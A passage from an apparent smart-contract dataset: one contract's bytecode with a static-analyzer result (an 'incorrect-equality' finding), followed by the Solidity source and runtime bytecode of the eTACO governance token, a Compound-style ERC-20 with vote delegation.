fffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b151561086f57600080fd5b6102c65a03f1151561088057600080fd5b505050604051805190501015151561089757600080fd5b60c060405190810160405280898152602001888152602001878152602001868152602001600081526020018a73ffffffffffffffffffffffffffffffffffffffff16815250600160008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082015181600001556020820151816001015560408201518160020155606082015181600301556080820151816004015560a08201518160050160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055509050508973ffffffffffffffffffffffffffffffffffffffff167feabffab667737db1059b7735b91f5924be3f07f24e6374dbb1b9d11668ed89a58a8a8a8a8a604051808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018481526020018381526020018281526020019550505050505060405180910390a250505050505050505050565b806000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050600073ffffffffffffffffffffffffffffffffffffffff168160050160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515610ae057600080fd5b82600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610b1d57600080fd5b83600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f4fd8411c817c0b524aeeef15446e8327901fcf5b6a31246930dfbe5f8c12235160405160405180910390a350505050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000806000336000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002090508060010154610c77611d31565b111515610c8357600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209450610d618560c0604051908101604052908160008201548152602001600182015481526020016002820154815260200160038201548152602001600482015481526020016005820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681525050611d39565b9350610d71848660040154611daf565b92508385600401819055506000831115610ec757600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33856000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1515610e5257600080fd5b6102c65a03f11515610e6357600080fd5b505050604051805190501515610e7857600080fd5b3373ffffffffffffffffffffffffffffffffffffffff167f7fcf532c15f0a6db0bd6d0e038bea71d30d808c7d98cb3bf7268a95bf5081b65846040518082815260200191505060405180910390a25b5050505050565b600080600080600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209250610fb28360c0604051908101604052908160008201548152602001600182015481526020016002820154815260200160038201548152602001600482015481526020016005820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681525050611d39565b9150610fc2828460040154611daf565b9050809350505050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561102c57600080fd5b86600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561106957600080fd5b86868682821015151561107b57600080fd5b81811015151561108a57600080fd5b6064861115151561109a57600080fd5b6110ae6110a78888611dc8565b6064611dfb565b94506110be8c8c8c8c8c8a6105a7565b505050505050505050505050565b60016020528060005260406000206000915090508060000154908060010154908060020154908060030154908060040154908060050160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905086565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000806000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156111ae57600080fd5b84600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156111eb57600080fd5b600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020945060009350600092508460010154611241611d31565b10156112535784600301549250611313565b6112f08560c0604051908101604052908160008201548152602001600182015481526020016002820154815260200160038201548152602001600482015481526020016005820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681525050611d39565b9150611300828660040154611daf565b9350611310856003015483611daf565b92505b600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008082016000905560018201600090556002820160009055600382016000905560048201600090556005820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff0219169055505060008414806114975750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb88866000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b151561147b57600080fd5b6102c65a03f1151561148c57600080fd5b505050604051805190505b15156114a257600080fd5b60008314806115955750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb87856000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b151561157957600080fd5b6102c65a03f1151561158a57600080fd5b505050604051805190505b15156115a057600080fd5b8673ffffffffffffffffffffffffffffffffffffffff167f5312918bb945e949b32d01afc69cad19c589287f4711f3c39aa84ae39a478f2e8585604051808381526020018281526020019250505060405180910390a250505050505050565b80600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561163c57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561169757600080fd5b81600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b60026020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000611719611e16565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561177457600080fd5b83600073ffffffffffffffffffffffffffffffffffffffff16600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415151561181057600080fd5b836000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050600073ffffffffffffffffffffffffffffffffffffffff168160050160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415156118b357600080fd5b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1694508573ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614151561194f57600080fd5b600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060c0604051908101604052908160008201548152602001600182015481526020016002820154815260200160038201548152602001600482015481526020016005820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681525050935083600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082015181600001556020820151816001015560408201518160020155606082015181600301556080820151816004015560a08201518160050160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550905050600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008082016000905560018201600090556002820160009055600382016000905560048201600090556005820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690555050600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690558573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167f3e4882fc047fc5cb92f283c6f3b683c6befb9b02aed687b56407df15640b388560405160405180910390a350505050505050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611cb757600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515611d2e57806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b600042905090565b6000806000808460400151611d4c611d31565b101515611d5f5784606001519350611da7565b611d74611d6a611d31565b8660000151611daf565b9250611d8885604001518660000151611daf565b9150611da1611d9b848760600151611dc8565b83611dfb565b90508093505b505050919050565b6000828211151515611dbd57fe5b818303905092915050565b60008082840290506000841480611de95750828482811515611de657fe5b04145b1515611df157fe5b8091505092915050565b6000808284811515611e0957fe5b0490508091505092915050565b60c0604051908101604052806000815260200160008152602001600081526020016000815260200160008152602001600073ffffffffffffffffffffffffffffffffffffffff16815250905600a165627a7a723058209992aad18d1d06976c97393ca58cfea1cb61f1d96802dd1046969e77ed90a7f80029 | {"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}} | 9,907 |
0xfbbd3865ec81fcd1105219a51f0684cd288eca42 | pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
// SPDX-License-Identifier: MIT
contract eTacoToken {
/// @notice EIP-20 token name for this token
string public constant name = "eTACO Token";
/// @notice EIP-20 token symbol for this token
string public constant symbol = "eTACO";
/// @notice EIP-20 token decimals for this token
uint8 public constant decimals = 18;
/// @notice Total number of tokens in circulation
uint public constant totalSupply = 395097860e18; // 395,097,860 million eTaco
/// @notice Allowance amounts on behalf of others
mapping (address => mapping (address => uint96)) internal allowances;
/// @notice Official record of token balances for each account
mapping (address => uint96) internal balances;
/// @notice A record of each accounts delegate
mapping (address => address) public delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint96 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
/// @notice The standard EIP-20 transfer event
event Transfer(address indexed from, address indexed to, uint256 amount);
/// @notice The standard EIP-20 approval event
event Approval(address indexed owner, address indexed spender, uint256 amount);
/**
* @notice Construct a new eTaco token
*/
constructor() public {
balances[msg.sender] = uint96(totalSupply);
emit Transfer(address(0), msg.sender, totalSupply);
}
/**
* @notice Get the number of tokens `spender` is approved to spend on behalf of `account`
* @param account The address of the account holding the funds
* @param spender The address of the account spending the funds
* @return The number of tokens approved
*/
function allowance(address account, address spender) external view returns (uint) {
return allowances[account][spender];
}
/**
* @notice Approve `spender` to transfer up to `amount` from `src`
* @dev This will overwrite the approval amount for `spender`
* and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve)
* @param spender The address of the account which may transfer tokens
* @param rawAmount The number of tokens that are approved (2^256-1 means infinite)
* @return Whether or not the approval succeeded
*/
function approve(address spender, uint rawAmount) external returns (bool) {
uint96 amount;
if (rawAmount == uint(-1)) {
amount = uint96(-1);
} else {
amount = safe96(rawAmount, "eTacoToken::approve: amount exceeds 96 bits");
}
allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
/**
* @notice Get the number of tokens held by the `account`
* @param account The address of the account to get the balance of
* @return The number of tokens held
*/
function balanceOf(address account) external view returns (uint) {
return balances[account];
}
/**
* @notice Transfer `amount` tokens from `msg.sender` to `dst`
* @param dst The address of the destination account
* @param rawAmount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transfer(address dst, uint rawAmount) external returns (bool) {
uint96 amount = safe96(rawAmount, "eTacoToken::transfer: amount exceeds 96 bits");
_transferTokens(msg.sender, dst, amount);
return true;
}
/**
* @notice Transfer `amount` tokens from `src` to `dst`
* @param src The address of the source account
* @param dst The address of the destination account
* @param rawAmount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transferFrom(address src, address dst, uint rawAmount) external returns (bool) {
address spender = msg.sender;
uint96 spenderAllowance = allowances[src][spender];
uint96 amount = safe96(rawAmount, "eTacoToken::approve: amount exceeds 96 bits");
if (spender != src && spenderAllowance != uint96(-1)) {
uint96 newAllowance = sub96(spenderAllowance, amount, "eTacoToken::transferFrom: transfer amount exceeds spender allowance");
allowances[src][spender] = newAllowance;
emit Approval(src, spender, newAllowance);
}
_transferTokens(src, dst, amount);
return true;
}
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegatee The address to delegate votes to
*/
function delegate(address delegatee) public {
return _delegate(msg.sender, delegatee);
}
/**
* @notice Delegates votes from signatory to `delegatee`
* @param delegatee The address to delegate votes to
* @param nonce The contract state required to match the signature
* @param expiry The time at which to expire the signature
* @param v The recovery byte of the signature
* @param r Half of the ECDSA signature pair
* @param s Half of the ECDSA signature pair
*/
function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) public {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "eTacoToken::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "eTacoToken::delegateBySig: invalid nonce");
require(now <= expiry, "eTacoToken::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
/**
* @notice Gets the current votes balance for `account`
* @param account The address to get votes balance
* @return The number of current votes for `account`
*/
function getCurrentVotes(address account) external view returns (uint96) {
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
/**
* @notice Determine the prior number of votes for an account as of a block number
* @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
* @param account The address of the account to check
* @param blockNumber The block number to get the vote balance at
* @return The number of votes the account had as of the given block
*/
function getPriorVotes(address account, uint blockNumber) public view returns (uint96) {
require(blockNumber < block.number, "eTacoToken::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee) internal {
address currentDelegate = delegates[delegator];
uint96 delegatorBalance = balances[delegator];
delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _transferTokens(address src, address dst, uint96 amount) internal {
require(src != address(0), "eTacoToken::_transferTokens: cannot transfer from the zero address");
require(dst != address(0), "eTacoToken::_transferTokens: cannot transfer to the zero address");
balances[src] = sub96(balances[src], amount, "eTacoToken::_transferTokens: transfer amount exceeds balance");
balances[dst] = add96(balances[dst], amount, "eTacoToken::_transferTokens: transfer amount overflows");
emit Transfer(src, dst, amount);
_moveDelegates(delegates[src], delegates[dst], amount);
}
function _moveDelegates(address srcRep, address dstRep, uint96 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
uint32 srcRepNum = numCheckpoints[srcRep];
uint96 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint96 srcRepNew = sub96(srcRepOld, amount, "eTacoToken::_moveVotes: vote amount underflows");
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
uint32 dstRepNum = numCheckpoints[dstRep];
uint96 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint96 dstRepNew = add96(dstRepOld, amount, "eTacoToken::_moveVotes: vote amount overflows");
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint96 oldVotes, uint96 newVotes) internal {
uint32 blockNumber = safe32(block.number, "eTacoToken::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function safe96(uint n, string memory errorMessage) internal pure returns (uint96) {
require(n < 2**96, errorMessage);
return uint96(n);
}
function add96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
uint96 c = a + b;
require(c >= a, errorMessage);
return c;
}
function sub96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
require(b <= a, errorMessage);
return a - b;
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
}
| 0x608060405234801561001057600080fd5b50600436106101215760003560e01c806370a08231116100ad578063b4b5ea5711610071578063b4b5ea571461025f578063c3cda52014610272578063dd62ed3e14610285578063e7a324dc14610298578063f1127ed8146102a057610121565b806370a08231146101fe578063782d6fe1146102115780637ecebe001461023157806395d89b4114610244578063a9059cbb1461024c57610121565b806323b872dd116100f457806323b872dd14610181578063313ce56714610194578063587cde1e146101a95780635c19a95c146101c95780636fcfff45146101de57610121565b806306fdde0314610126578063095ea7b31461014457806318160ddd1461016457806320606b7014610179575b600080fd5b61012e6102c1565b60405161013b919061138b565b60405180910390f35b61015761015236600461121a565b6102e8565b60405161013b9190611311565b61016c6103a5565b60405161013b919061131c565b61016c6103b5565b61015761018f3660046111da565b6103d9565b61019c61051c565b60405161013b9190611601565b6101bc6101b736600461118b565b610521565b60405161013b91906112fd565b6101dc6101d736600461118b565b61053c565b005b6101f16101ec36600461118b565b610549565b60405161013b91906115d1565b61016c61020c36600461118b565b610561565b61022461021f36600461121a565b610585565b60405161013b919061160f565b61016c61023f36600461118b565b61079c565b61012e6107ae565b61015761025a36600461121a565b6107cf565b61022461026d36600461118b565b61080b565b6101dc610280366004611244565b61087c565b61016c6102933660046111a6565b610a85565b61016c610ab7565b6102b36102ae3660046112a3565b610adb565b60405161013b9291906115e2565b6040518060400160405280600b81526020016a32aa20a1a7902a37b5b2b760a91b81525081565b6000806000198314156102fe5750600019610323565b610320836040518060600160405280602b81526020016116ad602b9139610b10565b90505b336000818152602081815260408083206001600160a01b03891680855292529182902080546001600160601b0319166001600160601b03861617905590519091907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061039190859061160f565b60405180910390a360019150505b92915050565b6b0146d139e866ce271990000081565b7f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86681565b6001600160a01b0383166000908152602081815260408083203380855290835281842054825160608101909352602b80845291936001600160601b0390911692859261042f92889291906116ad90830139610b10565b9050866001600160a01b0316836001600160a01b03161415801561045c57506001600160601b0382811614155b15610504576000610486838360405180608001604052806043815260200161171260439139610b3f565b6001600160a01b03898116600081815260208181526040808320948a16808452949091529081902080546001600160601b0319166001600160601b0386161790555192935090917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906104fa90859061160f565b60405180910390a3505b61050f878783610b7e565b5060019695505050505050565b601281565b6002602052600090815260409020546001600160a01b031681565b6105463382610d29565b50565b60046020526000908152604090205463ffffffff1681565b6001600160a01b03166000908152600160205260409020546001600160601b031690565b60004382106105af5760405162461bcd60e51b81526004016105a690611584565b60405180910390fd5b6001600160a01b03831660009081526004602052604090205463ffffffff16806105dd57600091505061039f565b6001600160a01b038416600090815260036020908152604080832063ffffffff600019860181168552925290912054168310610659576001600160a01b03841660009081526003602090815260408083206000199490940163ffffffff1683529290522054600160201b90046001600160601b0316905061039f565b6001600160a01b038416600090815260036020908152604080832083805290915290205463ffffffff1683101561069457600091505061039f565b600060001982015b8163ffffffff168163ffffffff16111561075757600282820363ffffffff160481036106c661115d565b506001600160a01b038716600090815260036020908152604080832063ffffffff858116855290835292819020815180830190925254928316808252600160201b9093046001600160601b031691810191909152908714156107325760200151945061039f9350505050565b805163ffffffff1687111561074957819350610750565b6001820392505b505061069c565b506001600160a01b038516600090815260036020908152604080832063ffffffff909416835292905220546001600160601b03600160201b9091041691505092915050565b60056020526000908152604090205481565b60405180604001604052806005815260200164655441434f60d81b81525081565b6000806107f4836040518060600160405280602c8152602001611681602c9139610b10565b9050610801338583610b7e565b5060019392505050565b6001600160a01b03811660009081526004602052604081205463ffffffff1680610836576000610875565b6001600160a01b0383166000908152600360209081526040808320600019850163ffffffff168452909152902054600160201b90046001600160601b03165b9392505050565b60408051808201909152600b81526a32aa20a1a7902a37b5b2b760a91b60209091015260007f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a8667f3446d20d758f3d172008ae510bdef177c83c4796b280397d5c262e690a6049be6108eb610db3565b306040516020016108ff9493929190611349565b60405160208183030381529060405280519060200120905060007fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf8888886040516020016109509493929190611325565b6040516020818303038152906040528051906020012090506000828260405160200161097d9291906112e2565b6040516020818303038152906040528051906020012090506000600182888888604051600081526020016040526040516109ba949392919061136d565b6020604051602081039080840390855afa1580156109dc573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b038116610a0f5760405162461bcd60e51b81526004016105a69061143c565b6001600160a01b03811660009081526005602052604090208054600181019091558914610a4e5760405162461bcd60e51b81526004016105a69061153c565b87421115610a6e5760405162461bcd60e51b81526004016105a6906114f0565b610a78818b610d29565b505050505b505050505050565b6001600160a01b039182166000908152602081815260408083209390941682529190915220546001600160601b031690565b7fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf81565b600360209081526000928352604080842090915290825290205463ffffffff811690600160201b90046001600160601b031682565b600081600160601b8410610b375760405162461bcd60e51b81526004016105a6919061138b565b509192915050565b6000836001600160601b0316836001600160601b031611158290610b765760405162461bcd60e51b81526004016105a6919061138b565b505050900390565b6001600160a01b038316610ba45760405162461bcd60e51b81526004016105a690611488565b6001600160a01b038216610bca5760405162461bcd60e51b81526004016105a6906113de565b6001600160a01b03831660009081526001602090815260409182902054825160608101909352603c808452610c15936001600160601b03909216928592919061178b90830139610b3f565b6001600160a01b03848116600090815260016020908152604080832080546001600160601b0319166001600160601b03968716179055928616825290829020548251606081019093526036808452610c7d949190911692859290919061175590830139610db7565b6001600160a01b038381166000818152600160205260409081902080546001600160601b0319166001600160601b0395909516949094179093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610cea90859061160f565b60405180910390a36001600160a01b03808416600090815260026020526040808220548584168352912054610d2492918216911683610df3565b505050565b6001600160a01b03808316600081815260026020818152604080842080546001845282862054949093528787166001600160a01b031984168117909155905191909516946001600160601b039092169391928592917f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f9190a4610dad828483610df3565b50505050565b4690565b6000838301826001600160601b038087169083161015610dea5760405162461bcd60e51b81526004016105a6919061138b565b50949350505050565b816001600160a01b0316836001600160a01b031614158015610e1e57506000816001600160601b0316115b15610d24576001600160a01b03831615610ed6576001600160a01b03831660009081526004602052604081205463ffffffff169081610e5e576000610e9d565b6001600160a01b0385166000908152600360209081526040808320600019860163ffffffff168452909152902054600160201b90046001600160601b03165b90506000610ec482856040518060600160405280602e8152602001611653602e9139610b3f565b9050610ed286848484610f81565b5050505b6001600160a01b03821615610d24576001600160a01b03821660009081526004602052604081205463ffffffff169081610f11576000610f50565b6001600160a01b0384166000908152600360209081526040808320600019860163ffffffff168452909152902054600160201b90046001600160601b03165b90506000610f7782856040518060600160405280602d81526020016117c7602d9139610db7565b9050610a7d858484845b6000610fa5436040518060600160405280603a81526020016116d8603a9139611136565b905060008463ffffffff16118015610fee57506001600160a01b038516600090815260036020908152604080832063ffffffff6000198901811685529252909120548282169116145b1561104d576001600160a01b0385166000908152600360209081526040808320600019880163ffffffff168452909152902080546fffffffffffffffffffffffff000000001916600160201b6001600160601b038516021790556110ec565b60408051808201825263ffffffff80841682526001600160601b0380861660208085019182526001600160a01b038b166000818152600383528781208c871682528352878120965187549451909516600160201b026fffffffffffffffffffffffff000000001995871663ffffffff19958616179590951694909417909555938252600490935292909220805460018801909316929091169190911790555b846001600160a01b03167fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a7248484604051611127929190611623565b60405180910390a25050505050565b600081600160201b8410610b375760405162461bcd60e51b81526004016105a6919061138b565b604080518082019091526000808252602082015290565b80356001600160a01b038116811461039f57600080fd5b60006020828403121561119c578081fd5b6108758383611174565b600080604083850312156111b8578081fd5b6111c28484611174565b91506111d18460208501611174565b90509250929050565b6000806000606084860312156111ee578081fd5b83356111f98161163d565b925060208401356112098161163d565b929592945050506040919091013590565b6000806040838503121561122c578182fd5b6112368484611174565b946020939093013593505050565b60008060008060008060c0878903121561125c578182fd5b6112668888611174565b95506020870135945060408701359350606087013560ff81168114611289578283fd5b9598949750929560808101359460a0909101359350915050565b600080604083850312156112b5578182fd5b6112bf8484611174565b9150602083013563ffffffff811681146112d7578182fd5b809150509250929050565b61190160f01b81526002810192909252602282015260420190565b6001600160a01b0391909116815260200190565b901515815260200190565b90815260200190565b9384526001600160a01b039290921660208401526040830152606082015260800190565b938452602084019290925260408301526001600160a01b0316606082015260800190565b93845260ff9290921660208401526040830152606082015260800190565b6000602080835283518082850152825b818110156113b75785810183015185820160400152820161139b565b818111156113c85783604083870101525b50601f01601f1916929092016040019392505050565b602080825260409082018190527f655461636f546f6b656e3a3a5f7472616e73666572546f6b656e733a2063616e908201527f6e6f74207472616e7366657220746f20746865207a65726f2061646472657373606082015260800190565b6020808252602c908201527f655461636f546f6b656e3a3a64656c656761746542795369673a20696e76616c60408201526b6964207369676e617475726560a01b606082015260800190565b60208082526042908201527f655461636f546f6b656e3a3a5f7472616e73666572546f6b656e733a2063616e60408201527f6e6f74207472616e736665722066726f6d20746865207a65726f206164647265606082015261737360f01b608082015260a00190565b6020808252602c908201527f655461636f546f6b656e3a3a64656c656761746542795369673a207369676e6160408201526b1d1d5c9948195e1c1a5c995960a21b606082015260800190565b60208082526028908201527f655461636f546f6b656e3a3a64656c656761746542795369673a20696e76616c6040820152676964206e6f6e636560c01b606082015260800190565b6020808252602d908201527f655461636f546f6b656e3a3a6765745072696f72566f7465733a206e6f74207960408201526c195d0819195d195c9b5a5b9959609a1b606082015260800190565b63ffffffff91909116815260200190565b63ffffffff9290921682526001600160601b0316602082015260400190565b60ff91909116815260200190565b6001600160601b0391909116815260200190565b6001600160601b0392831681529116602082015260400190565b6001600160a01b038116811461054657600080fdfe655461636f546f6b656e3a3a5f6d6f7665566f7465733a20766f746520616d6f756e7420756e646572666c6f77736554616